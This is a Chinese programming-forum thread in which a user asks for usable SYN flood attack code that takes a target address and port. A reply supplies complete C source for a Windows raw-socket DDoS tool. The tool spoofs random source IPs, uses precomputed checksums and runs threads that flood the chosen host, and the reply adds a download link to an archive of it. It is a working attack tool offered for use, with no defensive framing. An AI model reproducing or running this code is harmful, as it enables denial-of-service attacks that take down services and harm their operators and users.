求syn flood tcp攻击代码,可用

BTliqiaosheng 2012-12-29 06:06:13
需要是tcp的,可以指定攻击地址和端口,可以在vs2010下运行
...全文
352 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
zjcqoo 2013-01-29
  • 打赏
  • 举报
回复
N久以前vc6写的。转换下即可。 http://www.etherdream.com/syndos/SYNDOS(Socket).rar
zjcqoo 2013-01-29
  • 打赏
  • 举报
回复
===== DOS.c ===== #include <winsock2.h> #include <ws2tcpip.h> #include <process.h> #include <stdio.h> #include "Packet.h" #include "Checksum.h" #pragma comment(lib, "ws2_32.lib") /************************************************** * 伪随机数 **************************************************/ ULONG _SEED_; #define SRND(seed) (_SEED_ = seed) #define RND() (_SEED_ *= 10807L) /************************************************** * 数据包装填 **************************************************/ #define MAX_TURN_NUM 10000 PACKET_SYN PktSyn[MAX_TURN_NUM]; UINT TurnRemain = MAX_TURN_NUM; //当前回合剩余数 UINT TurnTimes = 0; //当前回合数 BOOL isDone = TRUE; //回合完成标志 BOOL isTerm = FALSE; //退出标志 SOCKET hSocket; ULONG ip; USHORT port; /************************************************** * 函数:InitNetwork * 注释:初始化网络 **************************************************/ BOOL InitNetwork() { WSADATA wsaData; WSAStartup(MAKEWORD(2, 0), &wsaData); /* * 版本检测 */ if(2 != LOBYTE(wsaData.wVersion)|| 0 != HIBYTE(wsaData.wVersion)) { printf("无法加载Winsock.DLL!"); WSACleanup(); return FALSE; } return TRUE; } /************************************************** * 函数:InitSocket * 注释:初始化网络 **************************************************/ BOOL InitSocket() { DWORD dwOpVal = TRUE; /* * 创建Socket */ hSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED); if(INVALID_SOCKET == hSocket) { printf("创建Socket失败!"); return FALSE; } /* * 设置选项 */ if(SOCKET_ERROR == setsockopt(hSocket, IPPROTO_IP, IP_HDRINCL, (char*)&dwOpVal, sizeof(DWORD)) ) { printf("设置Socket发生错误!"); return FALSE; } return TRUE; } /************************************************** * 函数:PacketBuild * 注释:装包 **************************************************/ VOID PacketBuild() { UINT i; SRND(GetTickCount()); InitChkSumTable(); /* * IP层 */ PktSyn[0].IP.VerLen = 0x45; PktSyn[0].IP.TOS = 0; PktSyn[0].IP.Length = HTONS(0); PktSyn[0].IP.Ident = HTONS(1); PktSyn[0].IP.Flags = 0x40; PktSyn[0].IP.TTL = 64; PktSyn[0].IP.Proto = PROTO_IP_TCP; PktSyn[0].IP.DstIP = ip; /* * TCP层 */ PktSyn[0].TCP.DstPort = HTONS(port); PktSyn[0].TCP.Ack = 0; PktSyn[0].TCP.HeaderLen = 0x50; PktSyn[0].TCP.Flags = FLAG_TCP_SYN; PktSyn[0].TCP.WinSize = 0xFFFF; PktSyn[0].TCP.UrgPtr = 0; /* * 计算Checksum */ InitIPSum((USHORT*)&PktSyn[0].IP); InitTCPSum((USHORT*)&PktSyn[0].TCP, ip); for(i=1; i<MAX_TURN_NUM; i++) memcpy(&PktSyn[i], &PktSyn[0], sizeof(PACKET_SYN)); } /************************************************** * 函数:BuildThread * 注释:装填线程 **************************************************/ VOID BuildThread() { INT i; ULONG ip; USHORT port; ULONG seq; for(;;) { /* * 等待下一轮的装填 */ while(!isDone) { Sleep(1); if(isTerm) return; } for(i=MAX_TURN_NUM-1; i>=0; i--) { ip = (RND() << 8) | 0xA; port = (USHORT)RND(); seq = RND(); PktSyn[i].IP.SrcIP = ip; PktSyn[i].IP.ChkSum = IPChecksum(ip); PktSyn[i].TCP.SrcPort = port; PktSyn[i].TCP.Seq = seq; PktSyn[i].TCP.ChkSum = TCPChecksum(ip, port, seq); } isDone = FALSE; } } /************************************************** * 函数:FloodThread * 注释:攻击线程 **************************************************/ VOID FloodThread() { SOCKADDR_IN addr_in = {AF_INET, port}; addr_in.sin_addr.S_un.S_addr = ip; while(!isTerm) { sendto(hSocket, (const char*)&PktSyn[TurnRemain], sizeof(PACKET_SYN), 0, (PSOCKADDR)&addr_in, sizeof(addr_in)); /* * 当前回合完成 */ if(0 == TurnRemain--) { TurnRemain = MAX_TURN_NUM-1; TurnTimes++; isDone = TRUE; } } } /************************************************** * 函数:DisplayUsage * 注释:用法 **************************************************/ VOID DisplayUsage() { printf("DDOS Flood v1.0 By EtherDream\n\n"); printf("用法: DDOS 主机 端口 [持续时间 (默认无限)]"); } BOOL WINAPI CtrlHandler(DWORD ctrlType) { isTerm = TRUE; return TRUE; } /************************************************** * 注释 主程序 **************************************************/ int main(int argc, char* argv[]) { HOSTENT *lpHost = NULL; UINT curSent = 0; UINT lastSent = 0; UINT time = 0xFFFFFFFF; UINT t = 0; /* * 初始化网络 */ if(!InitNetwork()) return 1; /* * 无效的参数量 */ if(argc < 3) { DisplayUsage(); return 1; } /* * IP地址格式检测 */ ip = inet_addr(argv[1]); if(ip == -1) { lpHost = gethostbyname(argv[1]); if(NULL == lpHost) { printf("无法解析主机: %s\n", argv[1]); return 1; } ip = ((LPIN_ADDR)lpHost->h_addr)->s_addr; } /* * 端口格式检测 */ port = (USHORT)atoi(argv[2]); /* * 时间检测 */ if(argc == 4) { time = atoi(argv[3]); if(time <=0) { printf("无效的时间!\n"); return 1; } } /* * 初始化Socket */ if(!InitSocket()) return 1; printf("攻击中...\n"); PacketBuild(); /* * 启动装填、攻击线程 */ _beginthread((void(__cdecl*)(void*))BuildThread, 0, NULL); Sleep(1); _beginthread((void(__cdecl*)(void*))FloodThread, 0, NULL); SetConsoleCtrlHandler(CtrlHandler, TRUE); /* * 显示发送信息 */ while(t != time) { if(isTerm) break; Sleep(1000); /* * 当前发送数 */ curSent = TurnTimes * MAX_TURN_NUM + (MAX_TURN_NUM - TurnRemain); printf("[%d] 速度: %d 包/秒. (累计发送: %d 包)\t\r", ++t, curSent - lastSent, curSent); lastSent = curSent; } printf("\n完成!"); closesocket(hSocket); WSACleanup(); return 0; } ===== Checksum.h ===== #ifndef __CHKSUM__ #define __CHKSUM__ #include "Packet.h" #define HI(VALUE) (VALUE >> 16) #define LOW(VALUE) (VALUE & 0xFFFF) #define SUM(VALUE) (HI(VALUE) + LOW(VALUE)) UINT __IPSum__; UINT __TCPSum__; /************************************************** * 注释:定义Checksum缓存表 **************************************************/ #define MAX_WORD_LEN \ ((sizeof(HEADER_TCP) + sizeof(HEADER_PSD)) / sizeof(USHORT)) #define MAX_TBL_SIZE \ (0x10000 * MAX_WORD_LEN) USHORT TableChkSum[MAX_TBL_SIZE]; /************************************************** * 函数:InitChkSumTable * 注释:初始化Checksum缓存表 **************************************************/ static void InitChkSumTable() { UINT i; UINT chkSum; for(i=0; i<MAX_TBL_SIZE; i++) { chkSum = SUM(i); chkSum += HI(chkSum); TableChkSum[i] = (USHORT)~chkSum; } } /************************************************** * 函数:GetIPSum * 注释:计算IP字段和 **************************************************/ static void InitIPSum(USHORT buf[]) { __IPSum__ = buf[0] + buf[1] + buf[2] + buf[3] + buf[4] + buf[8] + buf[9]; } /************************************************** * 函数:GetTCPSum * 注释:计算TCP字段和 **************************************************/ static void InitTCPSum(USHORT buf[], ULONG DstIP) { __TCPSum__ = SUM(DstIP) + HTONS(PROTO_IP_TCP) + HTONS(sizeof(HEADER_TCP)) + buf[1] + buf[6] + buf[7] + buf[9]; } #define IPChecksum(SrcIP) \ TableChkSum[__IPSum__ + SUM(SrcIP)] #define TCPChecksum(SrcIP, SrcPort, Seq) \ TableChkSum[__TCPSum__ + SUM(SrcIP) + SUM(Seq) + SrcPort] #endif ===== Packet.h ===== #ifndef __PACKET__ #define __PACKET__ #include <windef.h> // // IP结构 // typedef struct { BYTE VerLen; BYTE TOS; USHORT Length; USHORT Ident; USHORT Flags; BYTE TTL; BYTE Proto; USHORT ChkSum; ULONG SrcIP; ULONG DstIP; } HEADER_IP; // // TCP结构 // typedef struct { USHORT SrcPort; USHORT DstPort; ULONG Seq; ULONG Ack; BYTE HeaderLen; BYTE Flags; USHORT WinSize; USHORT ChkSum; USHORT UrgPtr; } HEADER_TCP; typedef struct { ULONG SrcIP; ULONG DstIP; BYTE MBZ; BYTE Proto; USHORT TCPLen; } HEADER_PSD; typedef struct { HEADER_IP IP; HEADER_TCP TCP; } PACKET_SYN; /************************************************** * 宏:HTONS * 注释:网络字节顺序转换 **************************************************/ #define HTONS(_host) \ ( \ (((_host) & 0xff00) >> 8) | \ (((_host) & 0x00ff) << 8) \ ) // // 协议 // #define PROTO_IP_TCP 6 #define FLAG_TCP_SYN 2 #endif

1,317

社区成员

发帖
与我相关
我的任务
社区描述
C++ Builder 网络及通讯开发
社区管理员
  • 网络及通讯开发社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧